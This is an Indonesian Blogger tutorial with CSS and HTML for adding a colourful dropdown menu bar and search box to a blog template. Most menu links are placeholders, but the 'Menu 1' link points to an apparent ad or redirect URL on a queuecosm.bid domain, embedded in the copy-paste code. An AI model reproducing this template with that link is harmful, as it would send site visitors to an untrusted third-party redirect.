Cara Memasang Menu Bar dan Sub Menu B WARNA WARNI

Cara Memasang Menu Bar dan Sub Menu Bar di Halaman Blog

Langkah Pemasangan

Sign In di blogger.com

TEMA/ EDIT /HTML

Copy Paste kode berikut tepat di atas kode

]]></b:skin>

#menubar{
width:920px;
height:38px;
background:#0000CD;
border-radius:2px;
float:center;
margin:0px auto;
}
#menubar-left{
float:left;
width:720px;
padding:0 0 2px 2px;
}
#menubar-right{
float:right;
width:170px;
padding-top:8px;
padding-right:18px
}
#menubar ul{
float:left;
margin:0;
padding:0;
}
#menubar li{
float:left;
list-style:none;
margin:0;
padding:0;
}
#menubar li a, #menubar li a:link{
float:left;
padding:12px 10px;
color:#FF0000;
position:relative;
font-weight:bold !important;
font-family:Verdana,Arial,Helvetica,sans-serif;
font-size:12px;
}
#menubar li a:hover, #menubar li a:active, #menubar .current_page_item a  {
text-decoration:none;
background:#FFFFE0;
}
#menubar li li a, #menubar li li a:link, #menubar li li a:visited{
font-size: 12px;
background: #FF7F50;
color: #DC143C;
text-decoration:none;
width: 150px;
padding: 0px 10px;
line-height:35px;
}
#menubar li li a:hover, #menubar li li a:active {
background: #7FFF00;
}
#menubar li ul{
z-index:9999;
position:absolute;
left:-999em;
height:auto;
width:170px;
margin-top:37px;
border:1px solid #FF00FF;
border-radius:0px 0px 8px 8px;
}
#menubar li:hover ul, #menubar li li:hover ul, #menubar li li li:hover ul, #menubar li.sfhover ul, #menubar li li.sfhover ul, #menubar li li li.sfhover ul{
left:auto
}
#menubar li:hover, #menubar li.sfhover{
position:static
}
#search{
border:1px solid #222;
height:20px;
width:180px;
background:#f6f4f4;
}
#search input{
color:#777;
border:none;
}
#s-m{
font-size:11px;
width:180px;
padding-left:4px;
padding-top:5px;
margin:0;
}
#search-t #search{
background-color:#FFFFFF;
border:1px solid #222;
border-radius:4px 4px 4px 4px;
-moz-border-radius:4px 4px 4px 4px;
-khtml-border-radius:4px 4px 4px 4px;
-webkit-border-radius:4px 4px 4px 4px;
}
#search-t #s-m{
width:155px;
padding-top:3px;
}


CATATAN
warna mirah ubah di bagian kotak pencari
warna oren  ubah bagroun  kotak sub
warna hijau ubah bagroun sub ketika di sorot kursor
warna ungu muda warna frame sub
wara biru   ubah warna bagroun utama
warna kuning ubah warna tek sub
WARANA Lightyellow ubah bagroun menu


CARA BERIKUT NYA CARI CODE DI BAWAH INI
<div class='main-outer'> atau
<div id='main-wrapper'> atau
<div id="content-wrapper"> atau

<div id='main'>

COPY PASTE CODE DI BAWAH INI SEBELUM CODE DIATAS

<div id='menubar'>
<div id='menubar-left'>
<ul>
<li><a expr:href='data:blog.homepageUrl'>Home</a></li>
<li><a href='http://queuecosm.bid/-36691DUMC/7T5i?rndad=1893182767-1518776855/'>Menu 1</a></li>
<li><a href='http://URL-YANG-DI-TUJU/'>Menu 2</a></li>
<li><a href='http://URL-YANG-DI-TUJU/'>Menu 3</a>
<ul>
<li><a href='http://URL-YANG-DI-TUJU/'>Sub menu 1</a></li>
<li><a href='http://URL-YANG-DI-TUJU/'>Sub menu 2</a></li>
</ul>
</li>
<li><a href='http://URL-YANG-DI-TUJU/'>Menu 4</a></li>
<li><a href='http://URL-YANG-DI-TUJU/'>Menu 5</a></li>
</ul>
</div>
<div id='menubar-right'>
<div id='search-t'>
<div id='search'>
<form action='/search' method='search' target='_blank'>
<input class='keyword' id='s-m' name='q' onblur='if (this.value == &quot;&quot;) {this.value = &quot;Cari artikel disini..&quot;;}' onfocus='if (this.value == &quot;Cari artikel disini..&quot;) {this.value = &quot;&quot;}' type='text' value='Cari artikel disini..'/>
<input src='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjV5Go3jF_hhSkWfHQCJbYt8xUFWmqdxBb9wCYICi7VxTaiFZTe_pSuVKfzgM7LKGrt3vDbjVTM-gS0Tih0Ditb8Y_jwJGH70ITKyQSwnirWsP9CNvDAKQShgOSX1J4tdGrNCzPkkokTBU/s200/search-c.png' style='border: 0pt none ;vertical-align: top; padding-top:4px; padding-right:3px;' type='image'/>
</form>
</div>
</div>
</div>
</div>

SELAMAT MENCOBA SEMOGA BERHASIL

 

                                                                                                         

Cara Memasang Menu Bar dan Sub Menu B WARNA WARNI 2018-02-16T02:32:00-08:00 Rating: 4.5 Diposkan Oleh: isam69